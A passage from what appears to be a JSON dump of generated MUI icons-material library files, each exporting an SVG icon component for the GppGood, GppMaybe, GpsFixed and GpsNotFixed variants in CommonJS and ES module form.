    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83V6.31l6-2.12 6 2.12zm-9.18-.5L7.4 12l3.54 3.54 5.66-5.66-1.41-1.41-4.24 4.24z\"\n}), 'GppGoodOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppGoodOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83V6.31l6-2.12 6 2.12zm-9.18-.5L7.4 12l3.54 3.54 5.66-5.66-1.41-1.41-4.24 4.24z\"\n}), 'GppGoodOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppGoodRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.3 2.26-6 2.25C4.52 4.81 4 5.55 4 6.39v4.71c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V6.39c0-.83-.52-1.58-1.3-1.87l-6-2.25c-.45-.18-.95-.18-1.4-.01m-1.07 12.57-2.12-2.12a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l1.41 1.41 3.54-3.54c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-4.24 4.24c-.38.4-1.02.4-1.41.01\"\n}), 'GppGoodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppGoodRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.3 2.26-6 2.25C4.52 4.81 4 5.55 4 6.39v4.71c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V6.39c0-.83-.52-1.58-1.3-1.87l-6-2.25c-.45-.18-.95-.18-1.4-.01m-1.07 12.57-2.12-2.12a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l1.41 1.41 3.54-3.54c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-4.24 4.24c-.38.4-1.02.4-1.41.01\"\n}), 'GppGoodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppGoodSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm-1.06 13.54L7.4 12l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41z\"\n}), 'GppGoodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppGoodSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm-1.06 13.54L7.4 12l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41z\"\n}), 'GppGoodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppGoodTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6.31v4.78c0 4 2.55 7.7 6 8.83 3.45-1.13 6-4.82 6-8.83V6.31l-6-2.12zm10.6 3.57-5.66 5.66L7.4 12l1.41-1.41 2.12 2.12 4.24-4.24z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83V6.31l6-2.12 6 2.12zm-9.18-.5L7.4 12l3.54 3.54 5.66-5.66-1.41-1.41-4.24 4.24z\"\n}, \"1\")], 'GppGoodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppGoodTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6.31v4.78c0 4 2.55 7.7 6 8.83 3.45-1.13 6-4.82 6-8.83V6.31l-6-2.12zm10.6 3.57-5.66 5.66L7.4 12l1.41-1.41 2.12 2.12 4.24-4.24z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83V6.31l6-2.12 6 2.12zm-9.18-.5L7.4 12l3.54 3.54 5.66-5.66-1.41-1.41-4.24 4.24z\"\n}, \"1\")], 'GppGoodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppMaybe.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm1 14h-2v-2h2zm0-4h-2V7h2z\"\n}), 'GppMaybe');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppMaybe.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm1 14h-2v-2h2zm0-4h-2V7h2z\"\n}), 'GppMaybe');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppMaybeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 14h2v2h-2zm0-7h2v5h-2z\"\n}, \"1\")], 'GppMaybeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppMaybeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 14h2v2h-2zm0-7h2v5h-2z\"\n}, \"1\")], 'GppMaybeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppMaybeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.3 2.26-6 2.25C4.52 4.81 4 5.55 4 6.39v4.7c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91v-4.7c0-.83-.52-1.58-1.3-1.87l-6-2.25c-.45-.18-.95-.18-1.4-.01M12 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1\"\n}), 'GppMaybeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppMaybeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.3 2.26-6 2.25C4.52 4.81 4 5.55 4 6.39v4.7c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91v-4.7c0-.83-.52-1.58-1.3-1.87l-6-2.25c-.45-.18-.95-.18-1.4-.01M12 16c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1\"\n}), 'GppMaybeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppMaybeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm1 14h-2v-2h2zm0-4h-2V7h2z\"\n}), 'GppMaybeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppMaybeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm1 14h-2v-2h2zm0-4h-2V7h2z\"\n}), 'GppMaybeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppMaybeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6.39v4.7c0 4 2.55 7.7 6 8.83 3.45-1.13 6-4.82 6-8.83v-4.7l-6-2.25zM13 16h-2v-2h2zm0-4h-2V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25zM11 16h2v-2h-2zm0-4h2V7h-2z\"\n}, \"1\")], 'GppMaybeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GppMaybeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6.39v4.7c0 4 2.55 7.7 6 8.83 3.45-1.13 6-4.82 6-8.83v-4.7l-6-2.25zM13 16h-2v-2h2zm0-4h-2V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25zM11 16h2v-2h-2zm0-4h2V7h-2z\"\n}, \"1\")], 'GppMaybeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GpsFixed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m8.94 3c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'GpsFixed');"
  },
  {
    "path": "packages/mui-icons-material/lib/GpsFixed.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m8.94 3c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'GpsFixed');"
  },
  {
    "path": "packages/mui-icons-material/lib/GpsFixedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m8.94 3c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'GpsFixedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GpsFixedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m8.94 3c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'GpsFixedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GpsFixedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m8.94 3c-.46-4.17-3.77-7.48-7.94-7.94V2c0-.55-.45-1-1-1s-1 .45-1 1v1.06C6.83 3.52 3.52 6.83 3.06 11H2c-.55 0-1 .45-1 1s.45 1 1 1h1.06c.46 4.17 3.77 7.48 7.94 7.94V22c0 .55.45 1 1 1s1-.45 1-1v-1.06c4.17-.46 7.48-3.77 7.94-7.94H22c.55 0 1-.45 1-1s-.45-1-1-1zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'GpsFixedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GpsFixedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m8.94 3c-.46-4.17-3.77-7.48-7.94-7.94V2c0-.55-.45-1-1-1s-1 .45-1 1v1.06C6.83 3.52 3.52 6.83 3.06 11H2c-.55 0-1 .45-1 1s.45 1 1 1h1.06c.46 4.17 3.77 7.48 7.94 7.94V22c0 .55.45 1 1 1s1-.45 1-1v-1.06c4.17-.46 7.48-3.77 7.94-7.94H22c.55 0 1-.45 1-1s-.45-1-1-1zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'GpsFixedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GpsFixedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m8.94 3c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'GpsFixedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GpsFixedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m8.94 3c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'GpsFixedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GpsFixedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m8.94-3c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}, \"1\")], 'GpsFixedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GpsFixedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m8.94-3c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}, \"1\")], 'GpsFixedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GpsNotFixed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'GpsNotFixed');"
  },
  {
    "path": "packages/mui-icons-material/lib/GpsNotFixed.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'GpsNotFixed');"
  },
  {
    "path": "packages/mui-icons-material/lib/GpsNotFixedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'GpsNotFixedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GpsNotFixedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06C6.83 3.52 3.52 6.83 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c4.17-.46 7.48-3.77 7.94-7.94H23v-2zM12 19c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'GpsNotFixedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GpsNotFixedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V2c0-.55-.45-1-1-1s-1 .45-1 1v1.06C6.83 3.52 3.52 6.83 3.06 11H2c-.55 0-1 .45-1 1s.45 1 1 1h1.06c.46 4.17 3.77 7.48 7.94 7.94V22c0 .55.45 1 1 1s1-.45 1-1v-1.06c4.17-.46 7.48-3.77 7.94-7.94H22c.55 0 1-.45 